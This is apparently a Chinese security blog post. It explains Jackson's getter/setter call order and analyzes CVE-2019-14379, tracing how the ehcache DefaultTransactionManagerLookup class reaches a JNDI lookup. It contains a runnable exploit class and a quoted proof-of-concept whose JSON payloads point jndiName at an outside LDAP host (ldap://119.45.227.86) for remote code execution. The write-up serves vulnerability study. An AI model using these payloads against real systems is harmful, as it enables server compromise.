最近想著分析jackson,jackson和fastjson有點相似,淺藍大神的文章很好,個人受益匪淺
昨天簡單說了下jackson的用法,現在繼續拓撲,補充前置知識,前置知識補充的足夠多,那麼漏洞分析也不是難事了:
昨天忘了說的一個jackson知識點就是序列化和反序列化的時候,setName和getName呼叫順序:
Student.java:
package com.test.JackSonTest; public class Student{
private String name;
private Integer age;
private Teacher teacher; public Student(){
System.out.println("student構造方法被呼叫");
}; public String getName() {
System.out.println(11111);
return name;
} public void setName(String name) {
System.out.println(2222);
this.name = name; } public Integer getAge() {
return age;
} public void setAge(Integer age) {
this.age = age;
} public Teacher getTeacher() {
return teacher;
} public void setTeacher(Teacher teacher) {
this.teacher = teacher;
} @Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", teacher=" + teacher +
'}';
}
}
在setName和getName處,新增輸出語句:
呼叫測試類:
jackson序列化和反序列化:
@Test
public void test2() throws IOException {
//序列化 物件轉json字串
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串時,在值上打印出物件型別
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化 json字串轉物件
String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}
輸出結果:
student構造方法被呼叫
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student構造方法被呼叫
2222
teacher構造方法被呼叫
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
結論:在序列化的時候呼叫set*,然後呼叫get*方法,反序列化的時候會呼叫set*方法,不會呼叫get*方法,呼叫反序列化的json資料對應的類構造方法
CVE-2019-14379漏洞分析:
影響jackson到2.9.9.1:
這個漏洞還是比較有意思的,其他的cve,我都看了下,都比較簡單:
先安裝漏洞環境依賴:
pom.xml:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency> <dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>2.10.6</version>
</dependency> <dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>6.0</version>
</dependency>
單單有ehcache依賴是不行的,還得有javaee包,否則呼叫ehcache的時候,會提示找不到!
反序列化的惡意類是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup
因為程式碼量的原因,直接靜態除錯了,不是很難,通過反射進入程式碼:
進入類:
找到這段程式碼:
public void setProperties(Properties properties) {
if (properties != null) {
String jndiName = properties.getProperty("jndiName");
if (jndiName != null) {
this.defaultJndiSelector.setJndiName(jndiName);
}
} }
獲取jndiName的值,然後設定jndiName:
繼續看這個類的其他方法:
public DefaultTransactionManagerLookup() {
this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
}
定義陣列,儲存了這些資料,其中包含了this.defaultJndiSelector,這是重點,等下會用到
this.defaultJndiSelector的來源:
private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
發現defaultJndiSelector例項化了GenericJndiSelector
這個等下要用到,這個先標記下.
繼續看這個類的其他方法:getTransactionManager():
程式碼如下:
public TransactionManager getTransactionManager() {
if (this.selector == null) {
this.lock.lock(); try {
if (this.selector == null) {
this.lookupTransactionManager();
}
} finally {
this.lock.unlock();
}
} return this.selector.getTransactionManager();
}
跟進去this.lookupTransactionManager():
其中
Selector[] var1 = this.transactionManagerSelectors;
int var2 = var1.length;
獲取的陣列內容,就是DefaultTransactionManagerLookup類提供的,繼續往下走程式碼:
跟進去:
public TransactionManager getTransactionManager() {
if (this.transactionManager == null) {
this.transactionManager = this.doLookup();
} return this.transactionManager;
}
呼叫this.doLookup()方法:
跟進去:
跟進到了Selector類,發現這是個抽象類:
以前寫文章說過,java基礎:抽象類方法的實現在他的子類繼承,如果想實現抽象類中的方法,需要子類繼承父類,然後重寫方法.
尋找他的子類:
跟進去看看:
快速找doLookup的具體實現:
把程式碼搞出來:
protected TransactionManager doLookup() {
InitialContext initialContext;
try {
initialContext = new InitialContext();
} catch (NamingException var14) {
LOG.debug("cannot create initial context", var14);
return null;
} try {
TransactionManager var3;
try {
Object jndiObject = initialContext.lookup(this.getJndiName());
if (jndiObject instanceof TransactionManager) {
var3 = (TransactionManager)jndiObject;
return var3;
}
發現呼叫lookup,遠端呼叫我們的jndiName,jndiName可以通過properties設定:
Object jndiObject = initialContext.lookup(this.getJndiName());
至此都分析完了,觸發jndi遠端呼叫的檔案是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class
只要我們設定我們的jndiName為惡意地址,並且呼叫getTransactionManager方法,即可實現rce:
構造exp:
package com.test.JackSonTest; import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer; import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties; public class attackJdbc {
public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
ObjectMapper objectMapper =new ObjectMapper();
Class.forName("org.jdom.transform.XSLTransformer");
Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
Object o = objectMapper.readValue(json2, Object.class);
objectMapper.writeValueAsString(o);
}
}
這裡要writeValueAsString序列化一次,是因為只有呼叫get方法的時候才能觸發lookup遠端呼叫,所以這裡需要序列化一次
執行程式碼:
關於惡意json的構造,參考一開始寫的測試類中序列化的生成,我是根據序列化生成json反推出來的惡意json
淺藍提供的exp是:
String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";
這邊執行提示我json格式錯誤...
真的學到了不少哈哈哈,還是比較有意思的,雖然實戰很雞肋..
漏洞分析參考文章:
https://b1ue.cn/archives/189.html